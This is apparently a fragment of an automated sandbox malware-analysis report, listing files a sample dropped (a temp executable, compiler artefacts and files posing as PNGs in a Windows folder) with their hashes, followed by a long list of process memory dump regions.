da39a3ee5e6b4b0d3255bfef95601890afd80709

SHA256
e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855

SHA512
cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\CSC6EBA.tmp

MD5
18c4a5adc070eb24de4d5a095bdd2b1b

SHA1
28a07e226175ca7b87ca507d07dfbaddef7b2faa

SHA256
5f6acdfabea0b1ea0485a53d124deffd01c48b17e24c7ce6d3dc25edde94c2c9

SHA512
9cf61947ef4726dc89a3512ef532b380a46fe3b0cc4b99930421abda0b8c0918454d0b88401241f6bb59dc9d8536fc9bc7d25226d577cf828ee3eff96dd22e19

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\tkffumk6.0.cs

MD5
9f8ab7eb0ab21443a2fe06dab341510e

SHA1
2b88b3116a79e48bab7114e18c9b9674e8a52165

SHA256
e1a4fbe36125e02e100e729ce92ab74869423da87cb46da6e3c50d7c4410b2d9

SHA512
53f5dc4c853af5a412fde895635ef4b2de98a165e3546130fdd17a37a5c3b177e21eccf70a5ddf936ac491da2d7e8fcdbc1e564a95ec01b097841aa78869989b

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\tkffumk6.cmdline

MD5
61bda9b6f6a7a602b6b23032e882ec13

SHA1
668466d15ce22878fd05ea0e1f7d0a41e6e8b7c5

SHA256
c49871ff6aa5ec644ae483167550d28dca42fdd5e629e8a6c662981eab21a8cf

SHA512
6800bfb649a07be0bc01c80cb627f2003e716b2ec40fcfe976edf77452bf13206add38f0c470500ce22d6f53c466391a742c90221e3cf86985a331f1aacc352b

Download Submit
\Users\Admin\AppData\Local\Temp\4BFE.exe

MD5
63151e4f7c3972f18a23c0e9996e14ef

SHA1
5d041fde6433a8ff8fc78a69fca1fd4630e3f270

SHA256
cc28e327610e9deb6551c99a32a44fec86220f2840276474ded747580af850d3

SHA512
f08c402f0a966cbe89fae0b5f9aa8536d6313dada788486a4db422a042769713a2896753acd47223348349b9960b5cde9470cc862668e2cdb90a6fcc1b87c8ec

Download Submit
\Users\Admin\AppData\Local\Temp\4BFE.exe

MD5
63151e4f7c3972f18a23c0e9996e14ef

SHA1
5d041fde6433a8ff8fc78a69fca1fd4630e3f270

SHA256
cc28e327610e9deb6551c99a32a44fec86220f2840276474ded747580af850d3

SHA512
f08c402f0a966cbe89fae0b5f9aa8536d6313dada788486a4db422a042769713a2896753acd47223348349b9960b5cde9470cc862668e2cdb90a6fcc1b87c8ec

Download Submit
\Windows\Branding\mediasrv.png

MD5
ac13d804585a74dc542db4ec94da39df

SHA1
8642ae2e04e492700caf41b43de9ef9d8b3c26f9

SHA256
84c41dc018689fcb2fc4240f1e0267a5ee82232e3bcd541f5f5bed4139cfcd55

SHA512
0ba869487fda38d398903df4235bd8f2d0f8fb774b559125ba278751a5a503adbb0557f9ea2fde5fecba4f1a33b71583be36fac0f6f8842cbee0bdd7ea2fb5bf

Download Submit
\Windows\Branding\mediasvc.png

MD5
9151c95451abb048a44f98d0afac8264

SHA1
22f447b210eb25c11be5a9c31f254f5f2bd50a78

SHA256
8082bfe8a9f63854d6317cf6ddc0c18c54140ee5d179a96bfe9900c90d994518

SHA512
728b140e68dcb6751cccb4d1046ac61f63e8db13d4f613b44e161d457f107acc11b3275167c7b4dff34a6d5966116ecb062f94713d0cf4f35b327d14ec7cbd13

Download Submit
memory/532-148-0x0000000000000000-mapping.dmp

Download
memory/544-156-0x0000000000000000-mapping.dmp

Download
memory/544-159-0x0000000000000000-mapping.dmp

Download
memory/556-63-0x00000000415B0000-0x00000000419AF000-memory.dmp

Filesize
4.0MB

Download
memory/556-61-0x0000000000000000-mapping.dmp

Download
memory/556-68-0x0000000041137000-0x0000000041138000-memory.dmp

Filesize
4KB

Download
memory/556-65-0x0000000041132000-0x0000000041134000-memory.dmp

Filesize
8KB

Download
memory/556-67-0x0000000041136000-0x0000000041137000-memory.dmp

Filesize
4KB

Download
memory/556-66-0x0000000041134000-0x0000000041136000-memory.dmp

Filesize
8KB

Download
memory/608-137-0x0000000000000000-mapping.dmp

Download
memory/616-147-0x0000000000000000-mapping.dmp

Download
memory/652-133-0x0000000000000000-mapping.dmp

Download
memory/740-138-0x0000000000000000-mapping.dmp

Download
memory/796-153-0x0000000000000000-mapping.dmp

Download
memory/836-169-0x0000000000000000-mapping.dmp

Download
memory/860-125-0x0000000000000000-mapping.dmp

Download
memory/892-128-0x0000000000000000-mapping.dmp

Download
memory/960-130-0x0000000000000000-mapping.dmp

Download
memory/960-146-0x0000000000000000-mapping.dmp

Download
memory/996-119-0x0000000000000000-mapping.dmp

Download
memory/1148-112-0x0000000002570000-0x0000000002572000-memory.dmp

Filesize
8KB

Download
memory/1148-114-0x0000000002572000-0x0000000002574000-memory.dmp

Filesize
8KB

Download
memory/1148-118-0x000000000257C000-0x000000000259B000-memory.dmp

Filesize
124KB

Download
memory/1148-117-0x0000000002577000-0x0000000002578000-memory.dmp

Filesize
4KB

Download
memory/1148-116-0x000000001B950000-0x000000001BC4F000-memory.dmp

Filesize
3.0MB

Download
memory/1148-113-0x000007FEEB650000-0x000007FEEC1AD000-memory.dmp

Filesize
11.4MB

Download
memory/1148-108-0x0000000000000000-mapping.dmp

Download
memory/1148-115-0x0000000002574000-0x0000000002577000-memory.dmp

Filesize
12KB

Download
memory/1204-58-0x0000000001D90000-0x0000000001DA6000-memory.dmp

Filesize
88KB

Download
memory/1256-136-0x0000000000000000-mapping.dmp

Download
memory/1272-158-0x0000000000000000-mapping.dmp

Download
memory/1324-79-0x0000000000000000-mapping.dmp

Download
memory/1328-76-0x0000000000000000-mapping.dmp

Download
memory/1328-86-0x00000000022E0000-0x00000000022E2000-memory.dmp

Filesize
8KB

Download
memory/1388-145-0x0000000000000000-mapping.dmp

Download
memory/1400-139-0x0000000000000000-mapping.dmp

Download
memory/1400-168-0x0000000000000000-mapping.dmp

Download
memory/1416-131-0x0000000000000000-mapping.dmp

Download
memory/1428-152-0x0000000000000000-mapping.dmp

Download
memory/1492-154-0x0000000000000000-mapping.dmp

Download
memory/1540-127-0x0000000000000000-mapping.dmp

Download
memory/1580-143-0x0000000000000000-mapping.dmp

Download
memory/1620-97-0x00000000025E7000-0x00000000025E8000-memory.dmp

Filesize
4KB

Download
memory/1620-88-0x0000000000000000-mapping.dmp

Download
memory/1620-96-0x00000000025E4000-0x00000000025E7000-memory.dmp

Filesize
12KB

Download
memory/1620-92-0x000000001B800000-0x000000001BAFF000-memory.dmp

Filesize
3.0MB

Download
memory/1620-94-0x00000000025EC000-0x000000000260B000-memory.dmp

Filesize
124KB

Download
memory/1620-95-0x00000000025E2000-0x00000000025E4000-memory.dmp

Filesize
8KB

Download
memory/1620-91-0x000007FEEB650000-0x000007FEEC1AD000-memory.dmp

Filesize
11.4MB

Download
memory/1620-93-0x00000000025E0000-0x00000000025E2000-memory.dmp

Filesize
8KB

Download
memory/1628-135-0x0000000000000000-mapping.dmp

Download
memory/1648-122-0x0000000000000000-mapping.dmp

Download
memory/1684-134-0x0000000000000000-mapping.dmp

Download
memory/1724-129-0x0000000000000000-mapping.dmp

Download
memory/1736-121-0x0000000000000000-mapping.dmp

Download
memory/1740-123-0x0000000000000000-mapping.dmp

Download
memory/1752-124-0x0000000000000000-mapping.dmp

Download
memory/1776-54-0x000000000091B000-0x000000000092C000-memory.dmp

Filesize
68KB

Download
memory/1776-56-0x0000000076851000-0x0000000076853000-memory.dmp

Filesize
8KB

Download
memory/1776-132-0x0000000000000000-mapping.dmp

Download
memory/1776-55-0x0000000000220000-0x0000000000229000-memory.dmp

Filesize
36KB

Download
memory/1776-57-0x0000000000400000-0x0000000000772000-memory.dmp

Filesize
3.4MB

Download
memory/1796-85-0x000000000260B000-0x000000000262A000-memory.dmp

Filesize
124KB

Download
memory/1796-70-0x000007FEFC351000-0x000007FEFC353000-memory.dmp

Filesize
8KB

Download
memory/1796-87-0x000000000262D000-0x000000000262E000-memory.dmp

Filesize
4KB

Download
memory/1796-69-0x0000000000000000-mapping.dmp

Download
memory/1796-74-0x0000000002604000-0x0000000002607000-memory.dmp

Filesize
12KB

Download
memory/1796-73-0x0000000002602000-0x0000000002604000-memory.dmp

Filesize
8KB

Download
memory/1796-72-0x0000000002600000-0x0000000002602000-memory.dmp

Filesize
8KB

Download
memory/1796-71-0x000007FEEB650000-0x000007FEEC1AD000-memory.dmp

Filesize
11.4MB

Download
memory/1816-105-0x0000000002802000-0x0000000002804000-memory.dmp

Filesize
8KB

Download
memory/1816-102-0x0000000002800000-0x0000000002802000-memory.dmp

Filesize
8KB

Download
memory/1816-106-0x000000000280C000-0x000000000282B000-memory.dmp

Filesize
124KB

Download
memory/1816-104-0x000000001B8B0000-0x000000001BBAF000-memory.dmp

Filesize
3.0MB

Download
memory/1816-107-0x0000000002804000-0x0000000002807000-memory.dmp

Filesize
12KB

Download
memory/1816-101-0x000007FEEB650000-0x000007FEEC1AD000-memory.dmp

Filesize
11.4MB

Download
memory/1816-103-0x0000000002807000-0x0000000002808000-memory.dmp

Filesize
4KB

Download
memory/1816-98-0x0000000000000000-mapping.dmp

Download
memory/1864-157-0x0000000000000000-mapping.dmp

Download
memory/1864-160-0x0000000000000000-mapping.dmp

Download
memory/1864-162-0x000007FEEB650000-0x000007FEEC1AD000-memory.dmp

Filesize
11.4MB

Download
memory/1864-164-0x000000000118B000-0x00000000011AA000-memory.dmp

Filesize
124KB

Download
memory/1864-165-0x0000000001182000-0x0000000001184000-memory.dmp

Filesize
8KB

Download
memory/1864-166-0x0000000001184000-0x0000000001187000-memory.dmp

Filesize
12KB

Download
memory/1864-163-0x0000000001180000-0x0000000001182000-memory.dmp

Filesize
8KB

Download
memory/1948-140-0x0000000000000000-mapping.dmp

Download
memory/1992-126-0x0000000000000000-mapping.dmp

Download
memory/2012-144-0x0000000000000000-mapping.dmp

Download
memory/2020-151-0x0000000000000000-mapping.dmp

Download